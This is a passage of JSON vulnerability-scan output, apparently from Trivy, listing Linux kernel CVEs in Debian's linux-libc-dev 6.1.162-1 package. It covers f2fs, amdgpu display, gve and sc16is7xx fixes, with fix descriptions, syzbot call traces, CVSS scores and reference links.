Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0f5547585369d72490bc2ff5a0ab4ce306825534e2d76f6c61dfa98c0e565352", "Title": "kernel: f2fs: fix to shrink read extent node in batches", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to shrink read extent node in batches\n\nWe use rwlock to protect core structure data of extent tree during\nits shrink, however, if there is a huge number of extent nodes in\nextent tree, during shrink of extent tree, it may hold rwlock for\na very long time, which may trigger kernel hang issue.\n\nThis patch fixes to shrink read extent node in batches, so that,\ncritical region of the rwlock can be shrunk to avoid its extreme\nlong time hold.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-41935", "https://git.kernel.org/linus/3fc5d5a182f6a1f8bd4dc775feb54c369dd2c343%20%286.13-rc1%29", "https://git.kernel.org/stable/c/295b50e95e900da31ff237e46e04525fa799b2cf", "https://git.kernel.org/stable/c/3fc5d5a182f6a1f8bd4dc775feb54c369dd2c343", "https://git.kernel.org/stable/c/924f7dd1e832e4e4530d14711db223d2803f7b61", "https://git.kernel.org/stable/c/e05d3eab90d6657bdcaa40ed129e9c767ed43188", "https://linux.oracle.com/cve/CVE-2024-41935.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025011118-CVE-2024-41935-e11d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-41935", "https://ubuntu.com/security/notices/USN-7379-1", "https://ubuntu.com/security/notices/USN-7379-2", "https://ubuntu.com/security/notices/USN-7380-1", "https://ubuntu.com/security/notices/USN-7381-1", "https://ubuntu.com/security/notices/USN-7382-1", "https://ubuntu.com/security/notices/USN-7449-1", "https://ubuntu.com/security/notices/USN-7449-2", "https://ubuntu.com/security/notices/USN-7450-1", "https://ubuntu.com/security/notices/USN-7451-1", "https://ubuntu.com/security/notices/USN-7452-1", "https://ubuntu.com/security/notices/USN-7453-1", "https://ubuntu.com/security/notices/USN-7468-1", "https://ubuntu.com/security/notices/USN-7523-1", "https://ubuntu.com/security/notices/USN-7524-1", "https://www.cve.org/CVERecord?id=CVE-2024-41935" ], "PublishedDate": "2025-01-11T13:15:21.083Z", "LastModifiedDate": "2026-10-30T13:17:31.47Z" }, { "VulnerabilityID": "CVE-2024-42118", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-42118", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4bc5684df4f7feef65e87728fc26aab93df43c21ae36021bd6345a00b1daf3dc", "Title": "kernel: drm/amd/display: Do not return negative stream id for array", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Do not return negative stream id for array\n\n[WHY]\nresource_stream_to_stream_idx returns an array index and it return -1\nwhen not found; however, -1 is not a valid array index number.\n\n[HOW]\nWhen this happens, call ASSERT(), and return a zero instead.\n\nThis fixes an OVERRUN and an NEGATIVE_RETURNS issues reported by Coverity.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H", "V3Score": 5.2 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-42118", "https://git.kernel.org/linus/3ac31c9a707dd1c7c890b95333182f955e9dcb57%20%286.10-rc1%29", "https://git.kernel.org/stable/c/3ac31c9a707dd1c7c890b95333182f955e9dcb57", "https://git.kernel.org/stable/c/a76fa9c4f0fc0aa6f517da3fa7d7c23e8a32c7d0", "https://lore.kernel.org/linux-cve-announce/2024073024-CVE-2024-42118-537b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-42118", "https://ubuntu.com/security/notices/USN-7089-1", "https://ubuntu.com/security/notices/USN-7089-2", "https://ubuntu.com/security/notices/USN-7089-3", "https://ubuntu.com/security/notices/USN-7089-4", "https://ubuntu.com/security/notices/USN-7089-5", "https://ubuntu.com/security/notices/USN-7089-6", "https://ubuntu.com/security/notices/USN-7089-7", "https://ubuntu.com/security/notices/USN-7090-1", "https://ubuntu.com/security/notices/USN-7095-1", "https://ubuntu.com/security/notices/USN-7156-1", "https://www.cve.org/CVERecord?id=CVE-2024-42118" ], "PublishedDate": "2024-07-30T08:15:04.097Z", "LastModifiedDate": "2026-06-17T07:48:52.38Z" }, { "VulnerabilityID": "CVE-2024-42162", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-42162", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b11f2bda15e243392698bd60f65878e38621f73600b7ba7887832850c548a076", "Title": "kernel: gve: Account for stopped queues when reading NIC stats", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ngve: Account for stopped queues when reading NIC stats\n\nWe now account for the fact that the NIC might send us stats for a\nsubset of queues. Without this change, gve_get_ethtool_stats might make\nan invalid access on the priv-\u003estats_report-\u003estats array.", "Severity": "HIGH", "CweIDs": [ "CWE-754" ], "VendorSeverity": { "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-42162", "https://git.kernel.org/stable/c/32675d828c8a392e20d5b42375ed112c407e4b62", "https://git.kernel.org/stable/c/acf609843a848e2c22ccce98eef109330403380d", "https://git.kernel.org/stable/c/af9bcf910b1f86244f39e15e701b2dc564b469a6", "https://lore.kernel.org/linux-cve-announce/2024073037-CVE-2024-42162-ea68@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-42162", "https://www.cve.org/CVERecord?id=CVE-2024-42162" ], "PublishedDate": "2024-07-30T08:15:07.52Z", "LastModifiedDate": "2026-10-21T13:17:46.53Z" }, { "VulnerabilityID": "CVE-2024-44941", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-44941", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8f94b167e6b3b5528bccccf150220c5b495b2a7f66c4d06f35e49ea71c1d5c1f", "Title": "kernel: f2fs: fix to cover read extent cache access with lock", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to cover read extent cache access with lock\n\nsyzbot reports a f2fs bug as below:\n\nBUG: KASAN: slab-use-after-free in sanity_check_extent_cache+0x370/0x410 fs/f2fs/extent_cache.c:46\nRead of size 4 at addr ffff8880739ab220 by task syz-executor200/5097\n\nCPU: 0 PID: 5097 Comm: syz-executor200 Not tainted 6.9.0-rc6-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024\nCall Trace:\n \u003cTASK\u003e\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x241/0x360 lib/dump_stack.c:114\n print_address_description mm/kasan/report.c:377 [inline]\n print_report+0x169/0x550 mm/kasan/report.c:488\n kasan_report+0x143/0x180 mm/kasan/report.c:601\n sanity_check_extent_cache+0x370/0x410 fs/f2fs/extent_cache.c:46\n do_read_inode fs/f2fs/inode.c:509 [inline]\n f2fs_iget+0x33e1/0x46e0 fs/f2fs/inode.c:560\n f2fs_nfs_get_inode+0x74/0x100 fs/f2fs/super.c:3237\n generic_fh_to_dentry+0x9f/0xf0 fs/libfs.c:1413\n exportfs_decode_fh_raw+0x152/0x5f0 fs/exportfs/expfs.c:444\n exportfs_decode_fh+0x3c/0x80 fs/exportfs/expfs.c:584\n do_handle_to_path fs/fhandle.c:155 [inline]\n handle_to_path fs/fhandle.c:210 [inline]\n do_handle_open+0x495/0x650 fs/fhandle.c:226\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nWe missed to cover sanity_check_extent_cache() w/ extent cache lock,\nso, below race case may happen, result in use after free issue.\n\n- f2fs_iget\n - do_read_inode\n - f2fs_init_read_extent_tree\n : add largest extent entry in to cache\n\t\t\t\t\t- shrink\n\t\t\t\t\t - f2fs_shrink_read_extent_tree\n\t\t\t\t\t - __shrink_extent_tree\n\t\t\t\t\t - __detach_extent_node\n\t\t\t\t\t : drop largest extent entry\n - sanity_check_extent_cache\n : access et-\u003elargest w/o lock\n\nlet's refactor sanity_check_extent_cache() to avoid extent cache access\nand call it before f2fs_init_read_extent_tree() to fix this issue.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-44941", "https://git.kernel.org/linus/d7409b05a64f212735f0d33f5f1602051a886eab%20%286.11-rc1%29", "https://git.kernel.org/stable/c/263df78166d3a9609b97d28c34029bd01874cbb8", "https://git.kernel.org/stable/c/323ef20b5558b9d9fd10c1224327af6f11a8177d", "https://git.kernel.org/stable/c/9bd5d5e3244242e7be26e86025b74eff3cf20d8c", "https://git.kernel.org/stable/c/d7409b05a64f212735f0d33f5f1602051a886eab", "https://lore.kernel.org/linux-cve-announce/2024082620-CVE-2024-44941-143e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-44941", "https://ubuntu.com/security/notices/USN-7154-1", "https://ubuntu.com/security/notices/USN-7154-2", "https://ubuntu.com/security/notices/USN-7155-1", "https://ubuntu.com/security/notices/USN-7156-1", "https://ubuntu.com/security/notices/USN-7196-1", "https://www.cve.org/CVERecord?id=CVE-2024-44941" ], "PublishedDate": "2024-08-26T12:15:06.107Z", "LastModifiedDate": "2026-10-30T13:17:34.327Z" }, { "VulnerabilityID": "CVE-2024-44942", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-44942", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b7bff3cb0ede011015bbd5e9a3d318f8b1132b1abd7834487e2366c661ac48ce", "Title": "kernel: f2fs: fix to do sanity check on F2FS_INLINE_DATA flag in inode during GC", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to do sanity check on F2FS_INLINE_DATA flag in inode during GC\n\nsyzbot reports a f2fs bug as below:\n\n------------[ cut here ]------------\nkernel BUG at fs/f2fs/inline.c:258!\nCPU: 1 PID: 34 Comm: kworker/u8:2 Not tainted 6.9.0-rc6-syzkaller-00012-g9e4bc4bcae01 #0\nRIP: 0010:f2fs_write_inline_data+0x781/0x790 fs/f2fs/inline.c:258\nCall Trace:\n f2fs_write_single_data_page+0xb65/0x1d60 fs/f2fs/data.c:2834\n f2fs_write_cache_pages fs/f2fs/data.c:3133 [inline]\n __f2fs_write_data_pages fs/f2fs/data.c:3288 [inline]\n f2fs_write_data_pages+0x1efe/0x3a90 fs/f2fs/data.c:3315\n do_writepages+0x35b/0x870 mm/page-writeback.c:2612\n __writeback_single_inode+0x165/0x10b0 fs/fs-writeback.c:1650\n writeback_sb_inodes+0x905/0x1260 fs/fs-writeback.c:1941\n wb_writeback+0x457/0xce0 fs/fs-writeback.c:2117\n wb_do_writeback fs/fs-writeback.c:2264 [inline]\n wb_workfn+0x410/0x1090 fs/fs-writeback.c:2304\n process_one_work kernel/workqueue.c:3254 [inline]\n process_scheduled_works+0xa12/0x17c0 kernel/workqueue.c:3335\n worker_thread+0x86d/0xd70 kernel/workqueue.c:3416\n kthread+0x2f2/0x390 kernel/kthread.c:388\n ret_from_fork+0x4d/0x80 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244\n\nThe root cause is: inline_data inode can be fuzzed, so that there may\nbe valid blkaddr in its direct node, once f2fs triggers background GC\nto migrate the block, it will hit f2fs_bug_on() during dirty page\nwriteback.\n\nLet's add sanity check on F2FS_INLINE_DATA flag in inode during GC,\nso that, it can forbid migrating inline_data inode's data block for\nfixing.", "Severity": "HIGH", "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-44942", "https://git.kernel.org/linus/fc01008c92f40015aeeced94750855a7111b6929%20%286.11-rc1%29", "https://git.kernel.org/stable/c/26c07775fb5dc74351d1c3a2bc3cdf609b03e49f", "https://git.kernel.org/stable/c/54a8da38b70553b61e2265ee0f26d034349dde25", "https://git.kernel.org/stable/c/ae00e6536a2dd54b64b39e9a39548870cf835745", "https://git.kernel.org/stable/c/fc01008c92f40015aeeced94750855a7111b6929", "https://lore.kernel.org/linux-cve-announce/2024082620-CVE-2024-44942-651a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-44942", "https://ubuntu.com/security/notices/USN-7121-1", "https://ubuntu.com/security/notices/USN-7121-2", "https://ubuntu.com/security/notices/USN-7121-3", "https://ubuntu.com/security/notices/USN-7148-1", "https://ubuntu.com/security/notices/USN-7154-1", "https://ubuntu.com/security/notices/USN-7154-2", "https://ubuntu.com/security/notices/USN-7155-1", "https://ubuntu.com/security/notices/USN-7156-1", "https://ubuntu.com/security/notices/USN-7159-1", "https://ubuntu.com/security/notices/USN-7159-2", "https://ubuntu.com/security/notices/USN-7159-3", "https://ubuntu.com/security/notices/USN-7159-4", "https://ubuntu.com/security/notices/USN-7159-5", "https://ubuntu.com/security/notices/USN-7166-1", "https://ubuntu.com/security/notices/USN-7166-2", "https://ubuntu.com/security/notices/USN-7166-3", "https://ubuntu.com/security/notices/USN-7166-4", "https://ubuntu.com/security/notices/USN-7186-1", "https://ubuntu.com/security/notices/USN-7186-2", "https://ubuntu.com/security/notices/USN-7194-1", "https://ubuntu.com/security/notices/USN-7195-1", "https://ubuntu.com/security/notices/USN-7195-2", "https://ubuntu.com/security/notices/USN-7196-1", "https://www.cve.org/CVERecord?id=CVE-2024-44942" ], "PublishedDate": "2024-08-26T12:15:06.157Z", "LastModifiedDate": "2026-10-30T13:17:34.517Z" }, { "VulnerabilityID": "CVE-2024-44951", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-44951", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:60922d8c1657455b29335651266ae193728951e30a6ba28fb69bc1d1b5f028e5", "Title": "kernel: serial: sc16is7xx: fix TX fifo corruption", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nserial: sc16is7xx: fix TX fifo corruption\n\nSometimes, when a packet is received on channel A at almost the same time\nas a packet is about to be transmitted on channel B, we observe with a\nlogic analyzer that the received packet on channel A is transmitted on\nchannel B. In other words, the Tx buffer data on channel B is corrupted\nwith data from channel A.\n\nThe problem appeared since commit 4409df5866b7 (\"serial: sc16is7xx: change\nEFR lock to operate on each channels\"), which changed the EFR locking to\noperate on each channel instead of chip-wise.\n\nThis commit has introduced a regression, because the EFR lock is used not\nonly to protect the EFR registers access, but also, in a very obscure and\nundocumented way, to protect access to the data buffer, which is shared by\nthe Tx and Rx handlers, but also by each channel of the IC.\n\nFix this regression first by switching to kfifo_out_linear_ptr() in\nsc16is7xx_handle_tx() to eliminate the need for a shared Rx/Tx buffer.\n\nSecondly, replace the chip-wise Rx buffer with a separate Rx buffer for\neach channel.", "Severity": "HIGH", "CweIDs": [ "CWE-667" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:L", "V3Score": 5.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-44951", "https://git.kernel.org/linus/133f4c00b8b2bfcacead9b81e7e8edfceb4b06c4%20%286.11-rc3%29", "https://git.kernel.org/stable/c/09cfe05e9907f3276887a20e267cc40e202f4fdd", "https://git.kernel.org/stable/c/133f4c00b8b2bfcacead9b81e7e8edfceb4b06c4", "https://git.kernel.org/stable/c/263682f5669ceeb70b14b4eda209fb34d67331ec", "https://git.kernel.org/stable/c/2a0ba376cdf729b5c66226c65c6c7cf9de744d52", "https://lore.kernel.org/linux-cve-announce/2024090411-CVE-2024-44951-9121@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-44951", "https://www.cve.org/CVERecord?id=CVE-2024-44951" ], "PublishedDate": "2024-09-04T19:15:30.153Z", "LastModifiedDate": "2026-10-30T13:17:34.687Z" }, { "VulnerabilityID": "CVE-2024-46729", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-46729", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d2b27fa34db80dfffab213c34cfdf9451fa8dd528381845b4f2ed943e15cceec", "Title": "kernel: drm/amd/display: Fix incorrect size calculation for loop", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix incorrect size calculation for loop\n\n[WHY]\nfe_clk_en has size of 5 but sizeof(fe_clk_en) has byte size 20 which is\nlager than the array size.\n\n[HOW]\nDivide byte size 20 by its element size.\n\nThis fixes 2 OVERRUN issues reported by Coverity.", "Severity": "HIGH", "CweIDs": [ "CWE-131", "CWE-787" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-46729", "https://git.kernel.org/linus/3941a3aa4b653b69876d894d08f3fff1cc965267%20%286.11-rc1%29", "https://git.kernel.org/stable/c/3941a3aa4b653b69876d894d08f3fff1cc965267", "https://git.kernel.org/stable/c/712be65b3b372a82bff0865b9c090147764bf1c4", "https://lore.kernel.org/linux-cve-announce/2024091836-CVE-2024-46729-158c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-46729", "https://ubuntu.com/security/notices/USN-7154-1", "https://ubuntu.com/security/notices/USN-7154-2", "https://ubuntu.com/security/notices/USN-7155-1", "https://ubuntu.com/security/notices/USN-7156-1", "https://ubuntu.com/security/notices/USN-7196-1", "https://www.cve.org/CVERecord?id=CVE-2024-46729" ], "PublishedDate": "2024-09-18T07:15:03.95Z", "LastModifiedDate": "2026-06-17T07:55:48.713Z" }, { "VulnerabilityID": "CVE-2024-46811", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-46811", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:83d077011547cbd4a1276086b5f36c5c24958740050c773d01cc68afac1c01a7", "Title": "kernel: drm/amd/display: Fix index may exceed array range within fpu_update_bw_bounding_box", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix index may exceed array range within fpu_update_bw_bounding_box\n\n[Why]\nCoverity reports OVERRUN warning. soc.num_states could\nbe 40. But array range of bw_params-\u003eclk_table.entries is 8.\n\n[How]\nAssert if soc.num_states greater than 8.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-46811", "https://git.kernel.org/linus/188fd1616ec43033cedbe343b6579e9921e2d898%20%286.11-rc1%29", "https://git.kernel.org/stable/c/188fd1616ec43033cedbe343b6579e9921e2d898", "https://git.kernel.org/stable/c/4003bac784380fed1f94f197350567eaa73a409d", "https://git.kernel.org/stable/c/6d8685dd9718e0613f7c64253500874021b9efc9", "https://git.kernel.org/stable/c/aba188d6f4ebaf52acf13f204db2bd2c22072504", "https://lore.kernel.org/linux-cve-announce/2024092710-CVE-2024-46811-f01c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-46811", "https://ubuntu.com/security/notices/USN-7154-1", "https://ubuntu.com/security/notices/USN-7154-2", "https://ubuntu.com/security/notices/USN-7155-1", "https://ubuntu.com/security/notices/USN-7156-1", "https://ubuntu.com/security/notices/USN-7196-1", "https://www.cve.org/CVERecord?id=CVE-2024-46811" ], "PublishedDate": "2024-09-27T13:15:14.107Z", "LastModifiedDate": "2026-10-30T13:17:36.16Z" }, { "VulnerabilityID": "CVE-2024-46813", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-46813", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ed8d0129de0e3e6be76a5d282cc0911bf6707b596bd91031f5bc941a63c7cb5d", "Title": "kernel: drm/amd/display: Check link_index before accessing dc-\u0026gt;links[]", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Check link_index before accessing dc-\u003elinks[]\n\n[WHY \u0026 HOW]\ndc-\u003elinks[] has max size of MAX_LINKS and NULL is return when trying to\naccess with out-of-bound index.\n\nThis fixes 3 OVERRUN and 1 RESOURCE_LEAK issues reported by Coverity.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-46813", "https://git.kernel.org/linus/8aa2864044b9d13e95fe224f32e808afbf79ecdf%20%286.11-rc1%29", "https://git.kernel.org/stable/c/032c5407a608ac3b2a98bf4fbda27d12c20c5887", "https://git.kernel.org/stable/c/8aa2864044b9d13e95fe224f32e808afbf79ecdf", "https://git.kernel.org/stable/c/8ad4c2cf6c1af18f556e5c591fb313b2982ddf60", "https://git.kernel.org/stable/c/ac04759b4a002969cf0f1384f1b8bb2001cfa782", "https://lore.kernel.org/linux-cve-announce/2024092711-CVE-2024-46813-5eb9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-46813", "https://ubuntu.com/security/notices/USN-7154-1", "https://ubuntu.com/security/notices/USN-7154-2", "https://ubuntu.com/security/notices/USN-7155-1", "https://ubuntu.com/security/notices/USN-7156-1", "https://ubuntu.com/security/notices/USN-7196-1", "https://www.cve.org/CVERecord?id=CVE-2024-46813" ], "PublishedDate": "2024-09-27T13:15:14.23Z", "LastModifiedDate": "2026-10-30T13:17:36.323Z" }, { "VulnerabilityID": "CVE-2024-47691", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-47691", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:60cae8394e90509f099b760e34d42491a3923ee5bec2c9620ef4bd43246e4474", "Title": "kernel: f2fs: fix to avoid use-after-free in f2fs_stop_gc_thread()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to avoid use-after-free in f2fs_stop_gc_thread()\n\nsyzbot reports a f2fs bug as below:\n\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x241/0x360 lib/dump_stack.c:114\n print_report+0xe8/0x550 mm/kasan/report.c:491\n kasan_report+0x143/0x180 mm/kasan/report.c:601\n kasan_check_range+0x282/0x290 mm/kasan/generic.c:189\n instrument_atomic_read_write include/linux/instrumented.h:96 [inline]\n atomic_fetch_add_relaxed include/linux/atomic/atomic-instrumented.h:252 [inline]\n __refcount_add include/linux/refcount.h:184 [inline]\n 